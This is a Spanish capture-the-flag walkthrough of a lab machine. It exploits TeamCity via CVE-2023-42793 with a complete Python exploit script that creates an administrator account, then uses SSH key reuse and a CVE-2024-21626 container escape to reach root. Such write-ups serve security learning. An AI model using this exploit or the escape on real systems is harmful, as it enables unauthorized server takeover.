Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:
Kali Linux Machine
ping-c110.129.162.200-R
El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.
Initial NMAP Scan
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:
Más que esto no he encontrado, sin la versión es complicado hacer un ataque a Nagios, quizás más adelante sea necesario, por el momento lo dejaré de lado y seguiré enumerando, pero en este caso subdomains.
Wfuzz Subdomains/VHosts
Aquí la verdad probé muchas wordlists, ya me estaba rindiendo pero resultó con namelist.txt.
Al ingresar podemos percatarnos que la versión de TeamCity es 2023.05.3 (build 129390).
El forgotPassword.html tiene una respuesta rápida así que no quita la posibilidad de algún ataque de fuerza bruta.
Así que empezamos fuerte, porque al Googlear un poco me encuentro con algunas CVE. Y por lo que me imagino deben haber varias formas de pwnear esto, así que dejaré plasmada la mía.
Pero antes de empezar a explotar voy a descubrir directorios con WFuzz.
Después de un rato no hallo nada interesante así que lo más obvio sería continuar con la explotación de alguno de los CVE que se encuentran disponibles para la versión 2023.05.3.
CVE-2023-42793
Analicé el código y bueno también le metí un poco de mano al código, ahora también muestra el valor del token que obtenemos haciendo POST Request a /app/rest/users/id:1/tokens/RPC2.
import requestsimport argparseimport reimport randomimport stringimport subprocessfrom colorama import init, Foreinit()banner =f"""{Fore.MAGENTA}=====================================================* CVE-2023-42793 ** TeamCity RCE * * ** {Fore.WHITE}Author: ByteHunter{Fore.MAGENTA} ** {Fore.WHITE}Modified: 3ky{Fore.MAGENTA} *====================================================="""defprint_banner():print(banner)defparse_arguments(): parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC") parser.add_argument("-u", "--url", required=True, help="Target URL (http://teamcity.runner.htb") parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")return parser.parse_args()defgenerate_random_string(length):return''.join(random.choice(string.ascii_letters + string.digits) for _ inrange(length))defget_token(url,curl_command): get_token_url =f"{url}/app/rest/users/id:1/tokens/RPC2" response = requests.post(get_token_url, verify=False)if response.status_code ==200: match = re.search(r'value="([^"]+)"', response.text)if match:return match.group(1)else:print("Token not found in the response")elif response.status_code ==404or response.status_code ==400:print("Token already exists")delete_and_retry(url, curl_command)else:print("Failed to get a token")defdelete_and_retry(url,curl_command): delete_token_url =f"{url}/app/rest/users/id:1/tokens/RPC2" delete_command =f'{curl_command} -X DELETE {delete_token_url}' delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) delete_process.wait()if delete_process.returncode ==0:print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")else:print("Failed to delete the previous token")defcreate_admin_user(url,curl_command,token): create_user_url =f"{url}/app/rest/users" headers ={"Authorization":f"Bearer {token}","Content-Type":"application/json"} random_chars =generate_random_string(12) username =f"{random_chars}" password =generate_random_string(12) data ={"username": username,"password": password,"email":"admin@runner.htb","roles":{"role": [{"roleId":"SYSTEM_ADMIN","scope":"g"}]}} create_user_response = requests.post(create_user_url, headers=headers, json=data)if create_user_response.status_code ==200:print(f"{Fore.GREEN}CVE-2023-42793")print(f"URL: {url}")print(f"Username: {username}")print(f"Password: {password}{Fore.RESET}")print(f"{Fore.RED}Token: {token}{Fore.RESET}")else:print(f"{Fore.RED}Failed to create new admin user{Fore.RESET}")defmain():print_banner() args =parse_arguments() url = args.url curl_command ="curl -k"if url.startswith("https://")else"curl" token =get_token(url, curl_command)ifnot token:returncreate_admin_user(url, curl_command, token)if__name__=="__main__":main()
En pocas palabras con el Token que creamos pertenece a una sesión de usuario que tiene privilegios de administrador, y con estos podemos modificar permisos.
Entonces lo que quiero intentar es lograr una reverse shell. Estudiando un poco cómo funciona el debug.processes, me entero de que utiliza otra variable llamada "parameters", la cual podemos llamar varias veces. En mi caso junto con UNICODE genero el siguiente payload:
El reporte de LinEnum me muestra un archivo .dockerenv, quiere decir que nos encontramos dentro de un docker, la idea es buscar credenciales de algún usuario para poder salir de aquí.
LinEnum.sh output
[-] Current user/group info:uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)[+] Looks like we're in a Docker container:-rwxr-xr-x 1 root root 0 Feb 28 19:05 /.dockerenv
Otra cosa que siempre me gusta hacer es buscar posibles passwords o ssh keys.
Creo un archivo id_rsa, agrego la clave privada, lo guardo y le doy permiosos (600).
El problema es que desconozco de quién es el usuario, intenté con root y tcuser y no hubo suerte.
Así que vuelvo a la pagina de teamcity a buscar más información de usuarios, así que accedo aquí:
admin:john@runner.htb
matthew:matthew@runner.htb
Así que intento utilizando la id_rsa con el usuario john.
ssh-iid_rsajohn@runner.htb
SSH on runner.htb as john
Aquí podemos ver que ya nos encontramos fuera del container. Me gustaría ejecutar un LinPEAS o LinEnum aquí también para poder saber más sobre el objetivo, quizás un movimiento lateral hacia Matthew o una Escalation Privilege directa hacia root.
[+] Looks like we're hosting Docker:
Docker version 25.0.3, build 4debf41
Cuando reviso el /etc/hosts me encuentro con otro subdomain.
Target Linux Machine
cat/etc/hosts127.0.0.1localhost127.0.1.1runnerrunner.htbteamcity.runner.htbportainer-administration.runner.htb# The following lines are desirable for IPv6 capable hosts::1ip6-localhostip6-loopbackfe00::0ip6-localnetff00::0ip6-mcastprefixff02::1ip6-allnodesff02::2ip6-allrouters
Quiero pensar que con las credenciales de John o Matthew puedo ingresar a Portainer.io y desde ahí hacer algo con docker y lograr el Privilege Escalation. Así que vuelvo a teamcity.runner.htb en busca de alguna password para hacerle reuse.
Obtainning backup of TeamCity
Hay cierto item llamado backup el cual... claro, nos permite realizar un backup y esto podria traer la contraseña que ando buscando, esto lo sé en base a la experiencia ya que en otras máquinas también me ha tocado realizar backups, o ver backups o databases para extraer hashes.
Set the working directory of the container to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it’s 7 or 8) when running a container.
En este caso nosotro vamos a utilizar como working dir/proc&/self/fd/8 para ver si logramos "escapar del container" y mantener los privilegios de root.
Cuando creamos el container nos pedirá una Image, las obtienes de /docker/images.
Lo muestro aquí abajo.
Ingresamos a nuestro Container -> Console
Escape Vulnerability CVE-2024-21626
Docker Container Console
cd../../../../rootls-lacatroot.txt
If you liked this GitBook, give me respect on my HTB profile, greetings!
Si te gustó este GitBook dame respect en mi perfil de HTB, saludos!.
Если вам понравился этот GitBook, выразите мне уважение в моем профиле HTB, привет!
यदि आपको यह GitBook पसंद आया, तो मेरी HTB प्रोफ़ाइल पर मुझे सम्मान दें, शुभकामनाएँ!
Wenn Ihnen dieses GitBook gefallen hat, geben Sie mir Respekt auf meinem HTB-Profil, Grüße!
